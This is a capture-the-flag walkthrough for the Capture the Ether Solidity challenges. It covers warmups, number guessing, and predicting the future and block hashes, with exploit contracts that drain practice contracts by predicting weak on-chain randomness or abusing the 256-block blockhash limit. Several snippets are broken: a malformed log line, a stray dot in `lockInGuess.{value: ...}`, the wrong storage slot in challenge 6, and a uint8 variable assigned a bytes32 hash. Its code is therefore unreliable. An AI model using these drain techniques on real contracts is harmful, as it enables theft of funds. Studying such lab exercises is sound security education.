CHALLENGES ONGOING

WARMUP CHALLENGES

CHALLENGE 1: DEPLOY A CONTRACT

Objective:

  • Deploy the challenge contract.

Demystifying Contract:

The contract is constructed based on a method that returns true when it’s called:

function isComplete() public pure returns (bool) {
    return true;
}

Demystifying Solution:

Simply, Deploy the contract.

CHALLENGE 2: CALL ME

Objective:

  • Call the function named callme.

Demystifying Contract:

The contract is constructed based on a method, The first line is defining a variable:

bool public isComplete = false;

The first line is the isComplete variable initiated as false.

The callme() method sets the isComplete variable to true.

function callme() public {
    isComplete = true;
}

Demystifying Solution:

Simply, Call the callme() function.

CHALLENGE 3: CHOOSE A NICKNAME

Objective:

  • Set your nickname to a non-empty string.

Demystifying Contracts:

CaptureTheEther Contract:

The contract is constructed based on a function, The first line defines a map:

mapping (address => bytes32) public nicknameOf;

The map is defined as “nicknameOf” that assigns every address to it’s nickname.

The setNickname() method sets the nickname to the nickname parameter for the caller address:

function setNickname(bytes32 nickname) public {
    nicknameOf[msg.sender] = nickname;
}

NicknameChallenge Contract:

The first line initialize the instance for the CaptureTheEther contract interface, The second line is the player address variable.

The NicknameChallenge() method sets the player address variable to the _player address parameter:

function NicknameChallenge(address _player) public {
    player = _player;
}

The isComplete() method validates the player nickname is not equal to 0:

function isComplete() public view returns (bool) {
    return cte.nicknameOf(player)[0] != 0;
}

Demystifying Solution:

Call the the setNickname() method with the address chosen nickname, The nickname parameter is expected to be bytes32.

LOTTERIES CHALLENGES

CHALLENGE 4: GUESS THE NUMBER

Objective:

  • Guess the number.

Demystifying Contract:

The contract is constructed based on different functions, The first line is initiating the answer variable to 42:

uint8 answer = 42;

The GuessTheNumberChallenge() method requires the transfered value equal to 1 ether to initiate the challange:

function GuessTheNumberChallenge() public payable {
    require(msg.value == 1 ether);
}

The isComplete() method returns true if the address balance is 0:

function isComplete() public view returns (bool) {
    return address(this).balance == 0;
}

The guess() method requires the transfered value equal to 1 ether and it transfer the balance back if the n parameter is equal to the answer variable:

function guess(uint8 n) public payable {
    require(msg.value == 1 ether);

    if (n == answer) {
        msg.sender.transfer(2 ether);
    }
}

Demystifying Solution:

The answer is hardcoded in the contract, Simply call the guess() method with 42.

CHALLENGE 5: GUESS THE NUMBER

Objective:

  • Guess the number by reversing the cryptographic hash.

Demystifying Contract:

The contract is constructed based on different functions, The first line is initiating the answerHash variable to a hexadecimal hash:

bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

The GuessTheNumberChallenge() method requires the transfered value equal to 1 ether to initiate the challange:

function GuessTheSecretNumberChallenge() public payable {
    require(msg.value == 1 ether);
}

The isComplete() method returns true if the address balance is 0:

function isComplete() public view returns (bool) {
    return address(this).balance == 0;
}

The guess() method requires the transfered value equal to 1 ether and it transfer the balance back if the n parameter hexadecimal hash is equal to the answerHash variable:

function guess(uint8 n) public payable {
    require(msg.value == 1 ether);

    if (keccak256(n) == answerHash) {
        msg.sender.transfer(2 ether);
    }
}

Demystifying Solution:

Due to the n parameter of the type uint8, We can simply brute-force the 255 possibilities:

for (let i = 0; i <= 255; i++) {
  const answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
  if (answerHash === utils.keccak256([i])) {
    console.log(n=`i`);
    break;
  }
};

CHALLENGE 6: GUESS THE RANDOM NUMBER

Objective:

  • Guess the number.

Demystifying Contract:

The contract is constructed based on different functions, The first line is the answer variable:

uint8 answer;

The GuessTheNumberChallenge() method requires the transfered value equal to 1 ether to initiate the challange and sets the answer variable to the hash of the block numder:

function GuessTheRandomNumberChallenge() public payable {
    require(msg.value == 1 ether);
    answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}

The isComplete() method returns true if the address balance is 0:

function isComplete() public view returns (bool) {
    return address(this).balance == 0;
}

The guess() method requires the transfered value equal to 1 ether and it transfer the balance back if the n parameter is equal to the answer variable:

function guess(uint8 n) public payable {
    require(msg.value == 1 ether);

    if (n == answer) {
        msg.sender.transfer(2 ether);
    }
}

Demystifying Solution:

The answer is publicly availabe in the blockchain as the contract slot.

We can read the answer by reading it’s slot which is slot 1:

await web3.eth.getStorageAt(instance, 1)

CHALLENGE 7: GUESS THE NEW NUMBER

Objective:

  • Guess the number while it’s generated on-demand when a guess is made.

Demystifying Contract:

The contract is constructed based on different functions.

The GuessTheNumberChallenge() method requires the transfered value equal to 1 ether to initiate the challange:

function GuessTheNewNumberChallenge() public payable {
    require(msg.value == 1 ether);
}

The isComplete() method returns true if the address balance is 0:

function isComplete() public view returns (bool) {
    return address(this).balance == 0;
}

The guess() method requires the transfered value equal to 1 ether and it transfer the balance back if the n parameter is equal to the answer variable:

function guess(uint8 n) public payable {
    require(msg.value == 1 ether);
    uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

    if (n == answer) {
        msg.sender.transfer(2 ether);
    }
}

Demystifying Solution:

The answer variable is deterministic which means it can’t be a source for randomness and therefore can be determined for different contracts as the same variable.

The solution contract sets an interface for the GuessTheNewNumberChallenge’s contract guess() method:

interface IGuessTheNewNumberChallenge {
    function guess(uint8) payable external;
}

Which allow us to call the guess method directly from the solution contract.

The Exploit() method simulate the guess() method functionality while simultaneously calling the instance guess() method with the true guess:

function Exploit() external {

    uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

    instance.guess{value: 1 ether}(answer);
}

And by calling the Exploit() you’ll have the full solution for your instance.

Make sure to set a receive() fallback function to receive the transfered 2 ether in the solution contract and tansfer it to the wallet address:

receive() external payable {
    (bool success,) = msg.sender.call{value:address(this).balance}("");
}

CHALLENGE 8: PREDICT THE FUTURE

Objective:

  • Guess the number before the random number is generated.

Demystifying Contract:

The contract is constructed based on different functions, The first three lines are defining three variables:

address guesser;
uint8 guess;
uint256 settlementBlockNumber;

The first line is the guesser address, The second line is the guess variable and the third line is the settlementBlockNumber variable.

The PredictTheFutureChallenge() method requires the transfered value equal to 1 ether to initiate the challange:

function PredictTheFutureChallenge() public payable {
    require(msg.value == 1 ether);
}

The isComplete() method returns true if the address balance is 0:

function isComplete() public view returns (bool) {
    return address(this).balance == 0;
}

The lockInGuess() method requires the guesser address not initiated and requires the transfered value equal to 1 ether:

function lockInGuess(uint8 n) public payable {
    require(guesser == 0);
    require(msg.value == 1 ether);

    guesser = msg.sender;
    guess = n;
    settlementBlockNumber = block.number + 1;
}

The lockInGuess() method lock in the guess by initiating the guesser address, the guess variable and the settlementBlockNumber variable to validate that the guess is locked in.

The settle() method requires the caller address equal to the guesser address and the current block number bigger than the settlementBlockNumber variable to validate the guess as locked in:

function settle() public {
    require(msg.sender == guesser);
    require(block.number > settlementBlockNumber);

    uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

    guesser = 0;
    if (guess == answer) {
        msg.sender.transfer(2 ether);
    }
}

The answer variable is initiated to the unsigned integer of the hash of the block number modulo 10, The guesser address is set to 0 to validate the next locked in guess and the balance is transfered back if the guess variable is equal to the answer variable.

Demystifying Solution:

The answer variable is initiated to the unsigned integer of the hash of the block number modulo 10 which sets the answer variable in the range of 0 to 9.

The solution contract sets an interface for the PredictTheFutureChallenge’s contract lockInGuess() method and settle() method:

interface IPredictTheFutureChallenge  {
    function lockInGuess(uint8) payable external;
    function settle() external;
}

Which allow us to call the settle method directly from the solution contract.

The lockInGuess() method lock in the guess by initiating the guess variable to 0:

function lockInGuess() public payable {
  instance.lockInGuess.{value: 1 ether}(0);
}

The Exploit() method simulate the settle() method functionality while simultaneously calling the instance settle() method with the true guess:

function Exploit() external {

    uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
    require(answer == 0);
    
    instance.settle();
}

The Exploit() method requires only the true answer to be settled and therefore we can manually brute-force from 0 to 9 until we settle the true answer that validates the requirement.

Make sure to set a receive() fallback function to receive the transfered 2 ether in the solution contract and tansfer it to the wallet address:

receive() external payable {
    (bool success,) = msg.sender.call{value:address(this).balance}("");
}

CHALLENGE 9: PREDICT THE BLOCK HASH

Objective:

  • Guess the block hash for a future block.

Demystifying Contract:

The contract is constructed based on different functions, The first three lines are defining three variables:

address guesser;
uint8 guess;
uint256 settlementBlockNumber;

The first line is the guesser address, The second line is the guess variable and the third line is the settlementBlockNumber variable.

The PredictTheBlockHashChallenge() method requires the transfered value equal to 1 ether to initiate the challange:

function PredictTheBlockHashChallenge() public payable {
    require(msg.value == 1 ether);
}

The isComplete() method returns true if the address balance is 0:

function isComplete() public view returns (bool) {
    return address(this).balance == 0;
}

The lockInGuess() method requires the guesser address not initiated and requires the transfered value equal to 1 ether:

function lockInGuess(bytes32 hash) public payable {
    require(guesser == 0);
    require(msg.value == 1 ether);

    guesser = msg.sender;
    guess = hash;
    settlementBlockNumber = block.number + 1;
}

The lockInGuess() method lock in the guess by initiating the guesser address, the guess variable and the settlementBlockNumber variable to validate that the guess is locked in.

The settle() method requires the caller address equal to the guesser address and the current block number bigger than the settlementBlockNumber variable to validate the guess as locked in:

function settle() public {
    require(msg.sender == guesser);
    require(block.number > settlementBlockNumber);

    bytes32 answer = block.blockhash(settlementBlockNumber);

    guesser = 0;
    if (guess == answer) {
        msg.sender.transfer(2 ether);
    }
}

The answer variable is initiated to the block hash of the settlementBlockNumber variable, The guesser address is set to 0 to validate the next locked in guess and the balance is transfered back if the guess variable is equal to the answer variable.

Demystifying Solution:

The answer variable is initiated to the block hash of the settlementBlockNumber variable, However due to the block hashes are not available for all blocks for scalability reasons. You can only access the hashes of the most recent 256 blocks, all other values will be zero, And therefore we can wait for 256 blocks after lock in the guess and the answer can be validated by 0.

The solution contract sets an interface for the PredictTheBlockHashChallenge’s contract lockInGuess() method and settle() method:

interface IPredictTheBlockHashChallenge   {
    function lockInGuess(bytes32) payable external;
    function settle() external;
}

Which allow us to call the settle method directly from the solution contract.

The lockInGuess() method lock in the guess by initiating the guess variable to 0:

function lockInGuess() public payable {
  instance.lockInGuess.{value: 1 ether}(0x0000000000000000000000000000000000000000000000000000000000000000);
}

The Exploit() method simulate the settle() method functionality:

function Exploit() external {
    instance.settle();
}

The Exploit() method requires to be called only after 257 blocks to be able to settle the true guess.

Make sure to set a receive() fallback function to receive the transfered 2 ether in the solution contract and tansfer it to the wallet address:

receive() external payable {
    (bool success,) = msg.sender.call{value:address(this).balance}("");
}